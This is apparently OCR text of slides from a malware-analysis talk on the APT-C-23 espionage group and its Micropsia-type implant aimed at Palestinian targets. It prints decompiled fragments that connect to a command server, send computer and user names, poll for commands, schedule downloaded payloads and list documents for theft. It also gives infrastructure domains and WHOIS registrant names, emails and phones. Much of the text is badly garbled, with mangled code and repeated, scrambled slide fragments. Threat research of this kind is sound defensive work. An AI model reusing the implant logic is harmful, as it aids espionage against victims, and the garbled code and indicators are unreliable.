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APT-C-23

- Threat group
 Early 2017
- Palestinian targets

- Micropsia, KasperAgent,
FrozenCell
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“un with DriverinstallerU

SHGEtSpecialFolderPathn(B, ::pszPath, 35, 8); s s ) 15, o~ s
ul74 = sub_444028(v19); AR e % i aisly L A . !
if ( tu174 ) : . o . & : ;o 3 :
{ . : ' PR e : .
vi24 = "You'll need error handling here?"; B
sub_45F21C(&v124, &PA.deinit);

3 . e

The third parameter of =

Something like this should do:

. SN pointing

ssub_4254D8("\\Interenet Assistant™);
-~ sub_4254D0('\\Interenet Assistant\\Interenet Assistant.exe™);



OnenMuteint0x1Faﬂﬂ1u. 8. Name);
. wi47 = sub_444028(uh0);
L if ( v147 )

sub_420F20(&u169);

CreateMutexA(B, B, Name);
sub_444028(vui1);

sub_435060(&unk_4CBB94) ;

- Funwith Driverlnstallery

£

rf

“InterenetAssistantN"

“InterenetAssistantN"”



port = 80;

- dwFlags = -20800849408;
lpszServerName = “lindamullins.info":

. ul48 = sub_4892F8({(int)&v198, "/api/ZGU2aliNlcw==/Y21WeGRXUnpkSEN9", &szHeaders, &unk_4A6599);
"LOBYTE{v243) = 25;
v187 = sub_435CAB{&v198, v85, (int)&unk_4A659B);
_if ( v118 )
' 5%
v139 sub_41B780("([da-z.-]+).([a-2.]1{2,6})([Fuw .-]*)*/28", 1);
ui38 ui39;
LOBYTE{u243) = 26;

v187 = sub _417F68{v187, (int)&v198, v139, 8);
v137 = vi19;
vi81 = vi19;
« " LOBYTE(u243) = 25;
sub_42BE608{&v188) ;
if € v181 )
{

vl79 = &U129;

sub_41B938(&vu190);

u136 = {(const CHAR *)sub_X40868CHB{v129);
1pszServerName = vui136:

WNIcw=-IY21WeGRXVnkaE09
ewceslcmdeWVdeM- Bt
devu:eslrequests



4 -
A,

¥

" u149 = sub_41BADO(&unk_L4AG557);

-+ . LOBYTE(u245) = 19;

u189 = sub_ 46745D("COMPUTERNAME™) ;
.. sSub_4346CH(v169);
© sub_4346CH{" ")
- ul18 = sub_467452(L"USERNAME™) ;
u148 = sub 41BC3B({v118);

g . LOBYTE{u245) = 28;

sub_434330(86) ;
u147 = sub_41E670(2u260);
- LOBYTE{(u245) = 21;
. U146 = sub_4u2340(2u199, &u261);
LOBYTE{v245) = 22;
sub_4345BB(&u199);
sub_4346C0(" ") ;
v111 = sub_462C60(6);
sub_46770B(uv111);
for ( j = 085 j < 10; ++j )
{

u197
v167

o

sub_4676EA() % 26 + 65;
sub_4254A08{{int)&vu262, v107,

v197); o .



vig = 8;

vib = "name=%s&kos=%s&appname=%s&av=%s"";
v13 = (void *)sub_409788(&v15);

‘ul12 = v13;

vi9 = §;

v3 = sub_435860(v13, xnmB 4 8);

u5 = sub_409BEB({Name, ul}; /7 "InterenetAssistanti’

v6 = wsprintfA(&Optional, vi6, a2, u5);

‘U8 sub_444028({v7, &ull == &uil, vb, v3);

o vl9 = -1;

sub_420F208(&v15); _
v9 = sub_40892F8(v8, a1, “/apli/serv/create”, “Content-Type: application/x-wuww-form-urlencoded"”, &0ptional);

SRS 9 NET _NET4 _0E;
SRS .. Content-Length:
no—cache . . . .name=
sos=Windows Tsappname=Intereneth
stantlH&aw=

E "



Functions

- v273 = “/api/serv/requests/%s";
© Y293 &u275;
usprintfA{&u274, "/api/seruv/requests/%s", &u275);
. sub_444828(vl);
- while ( 1 )

s " sub_40892FB{{int)&v272, &u274, B8, 8);
T | N206 =20
if { %sub_435CAB{ " ERROR™) )
.3 goto LABEL 76; '
_1 v271 = sub_43AB20{&v272, (int)"sorry Not", B8); .




FunNctions

“Penny”: '
“Wolowitz_Helberg":
“Celal_Al": .
“runfile”: ,
“Nayyar_Sonmez":
“Koothrappali: '
“Bialik_Gokhan":
“Hofstadter": ,
“Parsons_Sheldon”:
“Reshad_Strik": .
“Pinar8": ,
“Mehmet7": ,
“Bahar6":

BOST httpg;jjgpghgtuﬁ,cluhjapij-

0 (compa tlle; H”I
l; H'W 4; Trident/
CCZ; .NET CLE 27; .NET CLR 3.

| -HET CLE 3.0.3 fedis _untwr BC

4_.0C; .HET4.0E;

dluk. . Content-Length: 0..C

he. ...

h: .- .’"Punn;"'"TIU'“ "Hnlnvl.-_
"False™, "Celal R1":"Felse™ "runfile":"False"
“Hay?ar_Lunru"“'“Falze“,“Huuthrappali“:“Falze
", "Bialik Gokhan":"False",K "Hofstadter™:"False
" "Parsons_Sheldon™:"False™, K "Reshad Strik":"F
Jalse" , "Binar8":"False"™, "HehmetT" :"Falzse™, "Bah
'ﬂrt“'"FﬂlSE"}

r






Screenshots |

Running
Processes

System
Details

Delete
Payload

Terminate
Process




Blg Bang

“Penny”: .

u . ”e e
UL e ' — © y288 - s'ub'_'inshazla("ble'nng"', .a) ;.
“Celal_Al": . el o0 YiF (u2es 1= 1) :
“runfile": . * : { fggﬁgfgg%;lﬁzng", u6, vi71); j '
“Nayyar_Sonmez": , . TRt :1%1:.22:;2?3:3???(&0281’ &u282)
"Koothrappali™: /-, o
“Bialik_Gokhan": : i T TR tsub_kascAsC-True™) )
“Hofstadter": , _.  s =

“pParsons_Sheldon": , e

“Reshad_Strik": . 5 .
“Pinar8": ' | " \

“Mehmet7": .

“Bahar6":



Big Bang

“Penny": . " sub_u1B930(tw280);
. - LOBYTE(u313) = 6;
“Wolowitz_Helberg": ] 7 v278 = sub_43A150(L"\\", -1);
v4 = sub_43COFB(&U279);
“Celal_Al ": . ... u128 = sub_J420EB(&u277, v278 + 1, ul);
= . " Sub_422A58(u120);
seunfile™ ' ‘ sub_420F28(&u277);
"™ 4318 = (char x)50;
uNayyar_sonmezn: , : u5 = sub_43508608(&u279);

sub_466E88(&v276, v5, v3lB);

" TR v318 = (char *)150;

KOOthrappall ° ' ‘ ub = sub_435060(&u280);

A1 e - . sub_466E8B8(&FileName, vé6, v318);
Blallk—GOKhan ° r - u273 = “/api/serv/requests/%s/Penny”;

318 = &u292;
“Hofstadter": ' > . wsprintfA (&szObjectName, "/api/serv/requests/%s/Penny', &u292);
" sub_444028(vu8, u7);

“Parsons_Sheldon”: .

“Reshad_Strik": . 5 .
“Pinar8": ' | "

“Mehmet7": .

“Bahar6":



Blg Bang

“Penny™: '
“Wolowitz_Helberg": ]
“Celal_Al": .
“runfile™: '
“Nayyar_Sonmez": '
“Koothrappali: .
“Bialik_Gokhan": .

“Hofstadter™: ,

“Parsons_Sheldon”: .

“Reshad_Strik": ,

“Pinar8": , A -' z IJ; :
“Mehmet7": , = J_r_';"x'.é..-;a.;;.lf.-..

i FREVE

“Baharé6":

.club/api/serv/request

= m
T

P m
m =

1= AR AAECE

- C
- 15 1 7

D
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Comments [sic]

- install prog: There is no old
file in temp

- install prog: Download file
txt and convert it to exe )

- install prog: Create Task
after 5 min to run File from
tmp

- install prog: prog will delete
old tmp file

* Run file: my prog is Exit.

L iF (v123)
- I
u121 = &u289;
sub_41BADB{"UnUuIEZpbGUGIE15IHByb2cgaXigRXhpdC4="") ;
sub_46B8FB(v289);
sub_4676C5(1u);

" sub_ MIBADA({"UXBRYSR1IHByb2c6IFRoZXJ1IIG1zIG5vIGOs2CBmalx]1 IGIuTHRIbSAu™ ) ;
sub_48B8FB{u288) ;

- w59 = Sub_ MBADB{'appali™};

- LOBY¥TE{vu2926) = 5h;
sub_4BD9AB(EUIBA, &UIBZ, u59);

... LOBYTE(u296) = 56;

. sub_428F28({&u179);

© w27 = sub 4B2C68{08);

.. sub_46778B({u27);







Download
Lxt to .exe

Partition
List

Document
List



a1l = sub_435CAB{&v29, a1, (int)“"doc");
if ( tv9 )
goto LABEL_A42;
al = sub_435CA0{&v29, a1, (int)"docx™);
if ( tviB )
goto LABEL 42;
a1l = sub_435CA0{&v29, a1, {int)"odt™);
if ( tvil ) Y
goto LABEL_42; ;
al = sub_435CAB{&vu29, a1, (int)"xls"); ‘
if ( tvi2 )

goto LABEL_ 42; .
a1l = sub_435CAB(&u29, al, (int)"xlsx"); 5
if { tv13
|l (a1l = sub_435CAB({(&v29, a1, (int)"ppt™), ftull)
Il (a1 = sub_435CAB(&v29, a1, (int)"pptx"), tuis5)
|| (a1l = sub_435CAB{&vu29, a1, (int)"accdb™), ?tvid)
& |l (a1l = sub_435CAB{&v29, a1, (int)"accde"), tvl7)
|| (a1l = sub_u435CAB(&v29, a1, (int)"mdb"), ?tv1i8)
|| (a1l = sub_435CAB(&u29, a1, (int)"pdf"), tul9)
|| (a1l = sub_u435CAB(&v29, a1, (int)"csu), tu2B) )
: {
& LABEL 42:
3 ‘ sub_443D18(a2, {const char *)L"%s\n", (unsigned int)&FileName);
: b

.doc, docx, odt, xIs, xisx, ppt, pptx, accdb, accde, mdb, pdf, csv



Baharé

Mehmet?7

Pinar8







Malware Overview

 Persistent

- C&C address, backup
 Fingerprints victims

- Multiple functionalities
- Multi-stage attack
 Specific victims




Similar Samples?

* InterenetAssistant

- WinGraphicDriver

- BMW_x1, BMW x2, ..., BMW _x8
- Same functionality
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- Connections to APTC.23 B

Delphi Used To Score Against Palestine

This blog was authored by Paul Rascagneres and Warren Mercer with contributions from Emmanuel

Tacheau, Vanja Svajcer and Martin Lee.

EXECUTIVE SUMMARY

Talos continuously monitors malicious emails campaigns. We identified one specific spear phishing
campaign launched against targets within Palestine, and specifically against Palestinian law enforcement
agencies. This campaign started in April 2017, using a spear phishing campaign to deliver the MICROPSIA
payload in order to remotely control infected systems. Although this technigue is not new, it remains an
effective technigue for attackers.

.

- .'(Credi'i::"

)



Comectons 10 APTC23

The decoy document displayed, InternetPolicy.pdf, is a scanned document by the Ministry Of Interior of the
State Of Palestine, signed by Dr Alaa Mousa, Minister of Communications & Technologies:

A6 S
2016M2MEA 18K pb 2

P wa
I:,_L.\I;'.-_ i

-
lala] Lo
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@elals ections to APT-C-2 "%

The decoy document displayed, InternetPolicy.pdf, is a scanned document by the Ministry Of Interior of the
State Of Palestine, signed by Dr Alaa Mousa, Minister of Communications & Technologies:

In the analysed variant, we identify several reference to TV Show characters in the network communication
and the URLs used by this actor:

201610221 e = » sheldon-cooperl Jinfo: this URL is a reference to one of the main characters of "The Big Bang

TN MEA IBE:; o4

Theory" named Sheldon Cooper,;

* Camilleoconnell[ Jwebsite: this URL is a reference to Camille O'Connell, the main actress of "The
Vampire Diaries” and "The Qriginals”;

* Mikasa Ackerman is a json key returned by the CC. And this name is a character in "Attack on
Titan™,
* /White_Walker/ in the URL is a species in the TV Show "Game of Thrones”,

= Deanerys is a variable used during Web request. This is the name of a character in "Game of
Thrones”,

* Lord_varys is another json key returned by the CC. This is the name of a "Game of Thrones"
character.

| ‘(Cre'd.i't:"



APT-C-23

* Multiple vendors
 Large infrastructure
- Evolving malware




APT-C-23

* Multiple vendors
- Large infrastructure
- Evolving malware
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- Mapping the Infrastructure-- = -

APT-C-23 Campai
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.

P  Kalisil.Jorg
al-amalhumandevelopment[.Jcom * 5

.acount-manager[.Jcom_

useraccountvalidation[Jcom e R 4 :
: - - .. . - mavis-dracula[.Jcom . _ kagami-adam[.Jcom : 5 : .
% . X 5 {prey acount-manager[.]lnet S A
_ ‘ Y e 4 S ., acount-manager[.]info -'1 i
90091e[.Jco - "upload101[.]net’ 2 ' . ey ' 5
gooogel-drive[.Jcom ' % G s ’
. driveweb[.Jcom i
‘akashipro[.Jcom * . -
o P . google-support-team[.Jcom . :
. - ’ e t i cecilia-gilbert[.Jcom
upload202[.Jcom : : .
B gooogel[.Jorg
acount-managerf. : 3
appppurel.]Jinfo* o
i \ kalisi[.]Jinfo -
. N R A . i . -~ % . mediauploaderf.Jmé o5
kalisi[.Ixyz * '/ . margaery[.]Jco e B HONS IS Ny 28 T : o
R 5 7 . . " SE ) e beauty-danc.e[.lnet .

i (Credit! ~.r:,:.;:altc':')
~ (Credit: €9)

* % apppurel.Jinfo* -

arnanil.]Jinfo * go_mail-accounts[.Jcom

.'.. fs e : upload999[:Inet



WHOIS Server whois.godaddy.com

istrar GODADDY.COM, LLC

Email adarm.swift.20156@gmail.comfiregistrant, admin, tech)

Mame adarn swift (registrant, admin, tech)
Organization
al-jalaajregistrant, admin, tech) - =

Country

Phone

ns13.domaincontrol.com R SR GO ™
Mameservers _ . . _
ns14.domaincontrol.com




o Suldl e oSl g
Sheikh Radwan @

(.‘S’)E“.Jlﬂm

9 Jabalia

Pharmacy Muslim Q

Ghefari Import

& Marketi_ng)

&

WHOIS Server whois.godadd

istrar GODADDY.COM, LLC

Level Up Restaurant

Email adam.s 20 Email_comiregistrant, admin, tech)
Mame adarn swift (registrant, admin, tech) 2 i Sk Gaza

Organization

al-jalaajregistrant, admin, tech)

Country
Phone

ns13.domaincontrol.cam
MameServers ]
ns14.domaincontrol.cam




o Suldl e oSl g
Sheikh Radwan @

(.‘S’)E“.Jlﬂm

9 Jabalia

. ’ ' Pharmacy Muslim Q

Ghefari Import

& Marketi_ng)

WHOIS Server whois.Fodadd Q
istrar GODADDY.COM, LLC X
Level Up Restaurant
Email adam.s 20 Email_comiregistrant, admin, tech)
Mame adarn swift (registrant, admin, tech) Gaza
Organization
al-jalaajregistrant, admin, tech) - :
Il
’ L]
Country i
Phane 3 X foi : e
ns13.domaincontrol.cam A . i GRON ™

MNamesersers

ns14.domaincontrol.cam




WHOIS Adam Swif? =~

Email adam 20 mail.com ( min, tech)

MName adam swift | 1t, admin, tech)

rant, admin, T

nin, tech)

istrant, admin, tech)

ant, admin, tech)




72

PalGoal Company

For Information Technology

WHOIS Server 138.201.122.95 WHOIS Server whois.tucows.com WHOIS Server whois.enom.cam

Registrar Atyaf for Technology l Registrar TUCOWS DOMAINS INC. Registrar eNom, Inc.

alainps.news@gmail.com (registrant) Bl Email support@nepras.com (registrant, admin, tech) Email INFO@PALGOAL PS (registrant, admin, tech)

Info@atyaf.co (admin)

Mame Mepras company fregistrant, admin, tech) Mame HAZEM ALYAHYA (registrant, admin, tech)

mohammed khaled alnemra (registrant) 5 _—
Organization Mepras for Media & IT (registrant, admin, tech) Organization PALGOAL l’regiatrant, admin, tech)
: —

Atyaf (admin)
Organization § Street Gaza, Ansar Mushtaha 6 Tower #501 (registrant, Street PALSTINE (registrant, admin, tech)

Strest B City Gaza (registrant, admin, tech) City GAZA (registrant, admin, tech)
City B State Gaza (registrant, admin, tech) State 75 (registrant, admin, tech)

Ciate g Fostal 00972 (registrant, admin, tech) Postal 972 (registrant, admin, tech)

Y oostal 8 Country IL (registrant, admin, tech) Country PS (registrant, admin, tech)

Phone 9700597063071 (registrant, admin, tech)

| Country < | Phone 07282820332 (registrant, admin, tach)
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----- Intreduction -----

the last few months, there have been many publications co rning I E against our P: i ndar ers. I have investigated
t

- were first r 2d [1]. As rt of my r ch ; d the atts {1 and d lot of informa

Overview

Robin-Hood
Robin H

®




File Edit View Project Build Debug Team Tools
G - ol Ny

Process: [19708] Binder_AllProcess.exe

Window  Help
il m®

Test  Analyze

Plho i

Source.cpp ® X

[¥] Binder_AllProcess

if (out

1
L

f
L

4 /./ ///.////// /

output =

(Global Scope)

B C\Users\Gam

e i +
[1111111] 1

{"Sevket":false,"Mustafa”:false,"Baris”:

pt.get<std: 1
t.compare("true”

processlist();

s = MyProg +

if (_access(s.c_str()

char *Task = ne
strcpy(Task, s.c_

char URL[1024];
char* geturi = "/
wsprintfA(URL, ge

std:: g tmpR = RequestPostFile(msin

deleteFile(s.c_str());

tmpResultStream;

a

C

3

~ @ getRequestT()

\Debug\Binder_AllProc
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Conclusion

- Ongoing attack

« Same characteristics

- Espionage campaign
 Palestinian threat actor
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